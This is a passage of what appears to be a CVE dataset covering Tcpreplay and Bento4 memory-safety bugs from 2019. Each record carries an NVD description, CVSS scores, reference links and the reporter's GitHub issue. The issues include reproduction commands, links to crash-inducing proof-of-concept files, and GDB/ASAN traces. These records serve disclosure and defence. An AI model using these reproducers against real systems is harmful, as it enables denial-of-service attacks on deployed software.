exthdr->ip_nh; 411 next = exthdr; 412 break; 413 414 /* 415 * Can't handle. Unparsable IPv6 fragment/encrypted data ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "tcpreplay-edit", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x55555557674a → get_layer4_v6(ip6_hdr=0x5555557be20e, len=0xfb) [#1] 0x5555555695b0 → do_checksum(tcpedit=0x5555557b86c0, data=0x5555557be20e "b", proto=0x8, len=0xfb) [#2] 0x555555565fbc → fix_ipv4_checksums(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdb50, ip_hdr=0x5555557be20e) [#3] 0x555555564991 → tcpedit_packet(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdac0, pktdata=0x7fffffffdab0, direction=TCPR_DIR_C2S) [#4] 0x55555555c589 → send_packets(ctx=0x5555557aa260, pcap=0x5555557ba860, idx=0x0) [#5] 0x555555563169 → replay_file(ctx=0x5555557aa260, idx=0x0) [#6] 0x555555562a1b → tcpr_replay_index(ctx=0x5555557aa260) [#7] 0x555555562341 → tcpreplay_replay(ctx=0x5555557aa260) [#8] 0x55555555f112 → main(argc=0x1, argv=0x7fffffffe360) gef➤ p exthdr->ip_nh Cannot access memory at address 0x0 ```

NULL pointer dereference in get_layer4_v6()

https://api.github.com/repos/appneta/tcpreplay/issues/537/comments

2

2019-02-12T09:07:37Z

2019-03-12T20:03:12Z

https://github.com/appneta/tcpreplay/issues/537

409,191,160

537

184

CVE-2019-8377

2019-02-17T02:29:00.283

An issue was discovered in Tcpreplay 4.3.1. A NULL pointer dereference occurred in the function get_ipv6_l4proto() located at get.c. This can be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

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[ "476" ]

476

https://github.com/appneta/tcpreplay/issues/536

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "appneta", "tcpreplay" ]

**Description** - we observed a NULL pointer dereference occured in function` get_ipv6_l4proto()` located at `get.c` .The same be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - tcpreplay-edit -r 80:84 -s 20 -b -C -m 1500 -P --oneatatime -i $INTERFACE $POC **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/tcpreplay/TR_NP?raw=true) **Debug** - **GDB** - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x0 $rbx : 0x5555557aac20 → 0x00005555557b56a0 → 0x0000337330706e65 ("enp0s3"?) $rcx : 0xed $rdx : 0x8 $rsp : 0x7fffffffdad0 → 0x000000c5ffffdb20 $rbp : 0x7fffffffdb00 → 0x00007fffffffdb70 → 0x00007fffffffdbb0 → 0x00007fffffffdc50 → 0x00007fffffffdda0 → 0x00007fffffffdef0 → 0x00007fffffffdf20 → 0x00007fffffffdfb0 $rsi : 0xc5 $rdi : 0x7ffff7fcd6ae → 0x7ffff7b8f5600000 $rip : 0x55555557694c → <get_ipv6_l4proto+194> movzx eax, BYTE PTR [rax] $r8 : 0x2f $r9 : 0x7ffff7e4d010 → 0x0000000000000000 $r10 : 0x5555557b9700 → 0x0000000000000000 $r11 : 0x7ffff78d6000 → <__fread_chk+0> push r13 $r12 : 0x5555555599e0 → <_start+0> xor ebp, ebp $r13 : 0x7fffffffe4d0 → 0x000000000000000e $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $fs: 0x0000 $ds: 0x0000 $ss: 0x002b $es: 0x0000 $gs: 0x0000 $cs: 0x0033 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffdad0│+0x00: 0x000000c5ffffdb20 ← $rsp 0x00007fffffffdad8│+0x08: 0x00007ffff7e4d01e → 0x80000000ed000062 ("b"?) 0x00007fffffffdae0│+0x10: 0x00000a555c5ace1f 0x00007fffffffdae8│+0x18: 0x00fdebbbffffdb70 0x00007fffffffdaf0│+0x20: 0x00007ffff7fcd6ae → 0x7ffff7b8f5600000 0x00007fffffffdaf8│+0x28: 0x0000000000000000 0x00007fffffffdb00│+0x30: 0x00007fffffffdb70 → 0x00007fffffffdbb0 → 0x00007fffffffdc50 → 0x00007fffffffdda0 → 0x00007fffffffdef0 → 0x00007fffffffdf20 → 0x00007fffffffdfb0 ← $rbp 0x00007fffffffdb08│+0x38: 0x0000555555569599 → <do_checksum+201> movzx eax, al ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x55555557693f <get_ipv6_l4proto+181> call 0x555555576798 <get_ipv6_next> 0x555555576944 <get_ipv6_l4proto+186> mov QWORD PTR [rbp-0x8], rax 0x555555576948 <get_ipv6_l4proto+190> mov rax, QWORD PTR [rbp-0x8] → 0x55555557694c <get_ipv6_l4proto+194> movzx eax, BYTE PTR [rax] 0x55555557694f <get_ipv6_l4proto+197> mov BYTE PTR [rbp-0x11], al 0x555555576952 <get_ipv6_l4proto+200> mov rax, QWORD PTR [rbp-0x8] 0x555555576956 <get_ipv6_l4proto+204> mov QWORD PTR [rbp-0x10], rax 0x55555557695a <get_ipv6_l4proto+208> jmp 0x555555576962 <get_ipv6_l4proto+216> 0x55555557695c <get_ipv6_l4proto+210> movzx eax, BYTE PTR [rbp-0x11] ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:get.c+539 ]──── 534 case TCPR_IPV6_NH_ROUTING: 535 case TCPR_IPV6_NH_DESTOPTS: 536 case TCPR_IPV6_NH_HBH: 537 dbgx(3, "Jumping to next extension header (0x%hhx)", proto); 538 exthdr = get_ipv6_next((struct tcpr_ipv6_ext_hdr_base *)ptr, len); // exthdr=0x00007fffffffdaf8 → 0x0000000000000000 → 539 proto = exthdr->ip_nh; 540 ptr = (u_char *)exthdr; 541 break; 542 543 /* should be TCP, UDP or the like */ 544 default: ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "tcpreplay-edit", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x55555557694c → Name: get_ipv6_l4proto(ip6_hdr=0x7ffff7e4d01e, len=0xc5) [#1] 0x555555569599 → Name: do_checksum(tcpedit=0x5555557b86c0, data=0x7ffff7e4d01e "b", proto=0x0, len=0xed) [#2] 0x555555565fbc → Name: fix_ipv4_checksums(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdd30, ip_hdr=0x7ffff7e4d01e) [#3] 0x555555564991 → Name: tcpedit_packet(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdca0, pktdata=0x7fffffffdc90, direction=TCPR_DIR_C2S) [#4] 0x55555555c589 → Name: send_packets(ctx=0x5555557aa260, pcap=0x5555557ba860, idx=0x0) [#5] 0x555555563169 → Name: replay_file(ctx=0x5555557aa260, idx=0x0) [#6] 0x555555562a1b → Name: tcpr_replay_index(ctx=0x5555557aa260) [#7] 0x555555562341 → Name: tcpreplay_replay(ctx=0x5555557aa260) [#8] 0x55555555f112 → Name: main(argc=0x1, argv=0x7fffffffe540) gef➤ p exthdr Cannot access memory at address 0x0 gef➤ p exthdr->ip_nh Cannot access memory at address 0x0 ```

NULL pointer dereference get_ipv6_l4proto()

https://api.github.com/repos/appneta/tcpreplay/issues/536/comments

2

2019-02-07T06:58:32Z

2019-03-12T20:03:42Z

https://github.com/appneta/tcpreplay/issues/536

407,565,134

536

185

CVE-2019-8378

2019-02-17T02:29:00.363

An issue was discovered in Bento4 1.5.1-628. A heap-based buffer over-read exists in AP4_BitStream::ReadBytes() in Codecs/Ap4BitStream.cpp, a similar issue to CVE-2017-14645. It can be triggered by sending a crafted file to the aac2mp4 binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/363" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/a-heap-buffer-overflow-vulnerability-in-the-function-ap4_bitstreamreadbytes-bento4-1-5-1-628/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/363" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/a-heap-buffer-overflow-vulnerability-in-the-function-ap4_bitstreamreadbytes-bento4-1-5-1-628/" } ]

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[ "125" ]

125

https://github.com/axiomatic-systems/Bento4/issues/363

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

**Description** - we observed a heap-buffer-overflow occured in function` AP4_BitStream::ReadBytes()` located in `Ap4BitStream.cpp`.The same be triggered by sending a crafted file to the aac2mp4 binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - `./aac2mp4 $POC output.mp4` **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/HEAP_BOF_POC?raw=true) **Degub** - **ASAN REPORT** - ```` ASAN REPORT: ==2056==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x625000002100 at pc 0x7ffff6e93733 bp 0x7fffffffc840 sp 0x7fffffffbfe8 READ of size 4294967289 at 0x625000002100 thread T0 #0 0x7ffff6e93732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) #1 0x555555868840 in AP4_BitStream::ReadBytes(unsigned char*, unsigned int) /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4BitStream.cpp:192 #2 0x555555864ecb in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Aac2Mp4/Aac2Mp4.cpp:142 #3 0x7ffff64a9b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #4 0x555555864369 in _start (/home/aceteam/Desktop/packages/Bento4/builds/aac2mp4+0x310369) 0x625000002100 is located 0 bytes to the right of 8192-byte region [0x625000000100,0x625000002100) allocated by thread T0 here: #0 0x7ffff6efa618 in operator new [] (unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0618) #1 0x555555867a67 in AP4_BitStream: AP4_BitStream () /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4BitStream.cpp:45 #2 0x5555558661f2 in AP4_AdtsParser: AP4_AdtsParser () /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4AdtsParser.cpp:125 #3 0x55555586492a in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Aac2Mp4/Aac2Mp4.cpp:100 #4 0x7ffff64a9b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) Shadow bytes around the buggy address: 0x0c4a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c4a7fff8420: [fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8440: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8450: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8460: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2056==ABORTING ```` **GDB** - ```` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x7ffef70a4010 → 0x0000000000000000 $rbx : 0x7fffffffcc48 → 0x000055555588f8d0 → 0xf7c6e70fa88241a4 $rcx : 0x555555890136 → 0x100389d9fd941721 $rdx : 0xfffffff9 $rsp : 0x7fffffffcb48 → 0x00005555555bd601 → <AP4_BitStream::ReadBytes(unsigned+0> mov rax, QWORD PTR [rbp-0x18] $rbp : 0x7fffffffcb80 → 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 $rsi : 0x555555890136 → 0x100389d9fd941721 $rdi : 0x7ffef70a4010 → 0x0000000000000000 $rip : 0x7ffff74fe6d3 → <__memmove_sse2_unaligned_erms+435> movups xmm8, XMMWORD PTR [rsi+rdx*1-0x10] $r8 : 0xffffffff $r9 : 0x0 $r10 : 0x22 $r11 : 0x246 $r12 : 0xfffffff9 $r13 : 0x7fffffffdd80 → 0x0000000000000003 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $gs: 0x0000 $fs: 0x0000 $ds: 0x0000 $ss: 0x002b $es: 0x0000 $cs: 0x0033 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffcb48│+0x00: 0x00005555555bd601 → <AP4_BitStream::ReadBytes(unsigned+0> mov rax, QWORD PTR [rbp-0x18] ← $rsp 0x00007fffffffcb50│+0x08: 0x00007fffffffcb80 → 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 0x00007fffffffcb58│+0x10: 0xfffffff95589a0a0 0x00007fffffffcb60│+0x18: 0x00007ffef70a4010 → 0x0000000000000000 0x00007fffffffcb68│+0x20: 0x00007fffffffcc48 → 0x000055555588f8d0 → 0xf7c6e70fa88241a4 0x00007fffffffcb70│+0x28: 0x000055555589a070 → 0x00005555558714c8 → 0x00005555555bec94 → <AP4_MemoryByteStream::~AP4_MemoryByteStream()+0> push rbp 0x00007fffffffcb78│+0x30: 0xe9967b959a292100 0x00007fffffffcb80│+0x38: 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 ← $rbp ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x7ffff74fe6c6 <__memmove_sse2_unaligned_erms+422> movups xmm5, XMMWORD PTR es:[rsi+0x10] 0x7ffff74fe6cb <__memmove_sse2_unaligned_erms+427> movups xmm6, XMMWORD PTR [rsi+0x20] 0x7ffff74fe6cf <__memmove_sse2_unaligned_erms+431> movups xmm7, XMMWORD PTR [rsi+0x30] → 0x7ffff74fe6d3 <__memmove_sse2_unaligned_erms+435> movups xmm8, XMMWORD PTR [rsi+rdx*1-0x10] 0x7ffff74fe6d9 <__memmove_sse2_unaligned_erms+441> lea r11, [rdi+rdx*1-0x10] 0x7ffff74fe6de <__memmove_sse2_unaligned_erms+446> lea rcx, [rsi+rdx*1-0x10] 0x7ffff74fe6e3 <__memmove_sse2_unaligned_erms+451> mov r9, r11 0x7ffff74fe6e6 <__memmove_sse2_unaligned_erms+454> mov r8, r11 0x7ffff74fe6e9 <__memmove_sse2_unaligned_erms+457> and r8, 0xf ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "aac2mp4", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x7ffff74fe6d3 → Name: __memmove_sse2_unaligned_erms() [#1] 0x5555555bd601 → Name: AP4_BitStream::ReadBytes(this=0x7fffffffcc48, bytes=0x7ffef70a4010 "", byte_count=0xfffffff9) [#2] 0x5555555bc395 → Name: main(argc=0x3, argv=0x7fffffffdd88) ````

A heap-buffer-overflow occured in function AP4_BitStream::ReadBytes()

https://api.github.com/repos/axiomatic-systems/Bento4/issues/363/comments

0

2019-01-29T07:09:12Z

2019-02-01T10:24:02Z

https://github.com/axiomatic-systems/Bento4/issues/363

404,151,105

363

186

CVE-2019-8380

2019-02-17T02:29:00.473

An issue was discovered in Bento4 1.5.1-628. A NULL pointer dereference occurs in AP4_Track::GetSampleIndexForTimeStampMs() located in Core/Ap4Track.cpp. It can triggered by sending a crafted file to the mp4audioclip binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/366" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-ap4_trackgetsampleindexfortimestampms-bento4-1-5-1-628/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/366" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-ap4_trackgetsampleindexfortimestampms-bento4-1-5-1-628/" } ]

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[ "476" ]

476

https://github.com/axiomatic-systems/Bento4/issues/366

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

**Description** - we observed a NULL pointer dereference occured in `AP4_Track::GetSampleIndexForTimeStampMs()` located in `Ap4Track.cpp`.The same be triggered by sending a crafted file to the mp4audioclip binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - `./mp4audioclip --start 0 --duration 100 $POC OUTPUTFILE` **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/NP_POC?raw=true) **Debug** - **GDB** - ``` 0x00000000004585cb in AP4_Track::GetSampleIndexForTimeStampMs (this=0x6040000001d0, ts_ms=0x0, index=@0x7fffffffdb10: 0x0) at /home/ace/Downloads/sources/Bento4/Source/C++/Core/Ap4Track.cpp:485 485 return m_SampleTable->GetSampleIndexForTimeStamp(ts, index); [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x0 $rbx : 0x7fffffffdd70 → 0x0000000000000000 $rcx : 0x0 $rdx : 0x0 $rsp : 0x7fffffffd9d0 → 0x00007fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 $rbp : 0x7fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 $rsi : 0x0 $rdi : 0x0 $rip : 0x4585cb → <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rax, QWORD PTR [rax] $r8 : 0x0 $r9 : 0x0 $r10 : 0x60b0000000e0 → 0x14ffffff00000002 $r11 : 0x7fffffffd1d8 → 0x000060c000000090 → 0x00000000005caca0 → 0x00000000004809d6 → <AP4_List<AP4_TrakAtom>::~AP4_List()+0> push rbp $r12 : 0xffffffffb56 → 0x0000000000000000 $r13 : 0x7fffffffdab0 → 0x0000000041b58ab3 $r14 : 0x60b0000000f0 → 0x00000000005ecdb0 → 0x000000000048acd4 → <AP4_SyntheticSampleTable::~AP4_SyntheticSampleTable()+0> push rbp $r15 : 0x0 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $ss: 0x002b $fs: 0x0000 $es: 0x0000 $ds: 0x0000 $gs: 0x0000 $cs: 0x0033 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffd9d0│+0x00: 0x00007fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 ← $rsp 0x00007fffffffd9d8│+0x08: 0x00007fffffffdb10 → 0x00007fff00000000 0x00007fffffffd9e0│+0x10: 0x000000000000bb80 0x00007fffffffd9e8│+0x18: 0x00006040000001d0 → 0x0000000000596420 → 0x000000000045725e → <AP4_Track::~AP4_Track()+0> push rbp 0x00007fffffffd9f0│+0x20: 0x0000000a00000000 → 0x0000000000000000 0x00007fffffffd9f8│+0x28: 0x0000000000000000 0x00007fffffffda00│+0x30: 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 ← $rbp 0x00007fffffffda08│+0x38: 0x0000000000451b68 → <main+1950> test eax, eax ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x4585c0 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> div BYTE PTR [rax+rcx*1+0x48] 0x4585c4 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov edi, edx 0x4585c6 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> call 0x451140 <__asan_report_load8@plt> → 0x4585cb <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rax, QWORD PTR [rax] 0x4585ce <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> add rax, 0x40 0x4585d2 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rdx, rax 0x4585d5 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rsi, rdx 0x4585d8 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> shr rsi, 0x3 0x4585dc <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> add rsi, 0x7fff8000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:/home/ace/Downloads/sources/Bento4/Source/C++/Core/Ap4Track.cpp+485 ]──── 480 AP4_Track::GetSampleIndexForTimeStampMs(AP4_UI32 ts_ms, AP4_Ordinal& index) 481 { 482 // convert the ts in the timescale of the track's media 483 AP4_UI64 ts = AP4_ConvertTime(ts_ms, 1000, GetMediaTimeScale()); 484 → 485 return m_SampleTable->GetSampleIndexForTimeStamp(ts, index); 486 } 487 488 /*---------------------------------------------------------------------- 489 | AP4_Track::GetNearestSyncSampleIndex 490 +---------------------------------------------------------------------*/ ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "mp4audioclip", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x4585cb → Name: AP4_Track::GetSampleIndexForTimeStampMs(this=0x6040000001d0, ts_ms=0x0, index=@0x7fffffffdb10) [#1] 0x451b68 → Name: main(argc=0x7, argv=0x7fffffffdec0) gef➤ p ts $4 = 0x0 gef➤ p index $5 = (AP4_Ordinal &) @0x7fffffffdb10: 0x0 gef➤ p m_SampleTable $6 = (AP4_SampleTable *) 0x0 gef➤ p m_SampleTable->GetSampleIndexForTimeStamp(ts, index) Cannot access memory at address 0x0 ```

NULL POINTER DEREFERENCE in AP4_Track::GetSampleIndexForTimeStampMs()

https://api.github.com/repos/axiomatic-systems/Bento4/issues/366/comments

0

2019-02-07T06:32:20Z

2019-02-07T06:32:50Z

https://github.com/axiomatic-systems/Bento4/issues/366

407,559,605

366

187

CVE-2019-8381

2019-02-17T02:29:00.537

An issue was discovered in Tcpreplay 4.3.1. An invalid memory access occurs in do_checksum in checksum.c. It can be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/appneta/tcpreplay/issues/538" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4V3SADKXUSHWTVAPU3WLXBDEQUHRA6ZO/" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EB3ASS7URTIA3IFSBL2DIWJAFKTBJCAW/" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MLPY6W7Z7G6PF2JN4LXXHCACYLD4RBG6/" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/invalid-memory-access-vulnerability-in-function-do_checksum-tcpreplay-4-3-1/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/appneta/tcpreplay/issues/538" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4V3SADKXUSHWTVAPU3WLXBDEQUHRA6ZO/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": 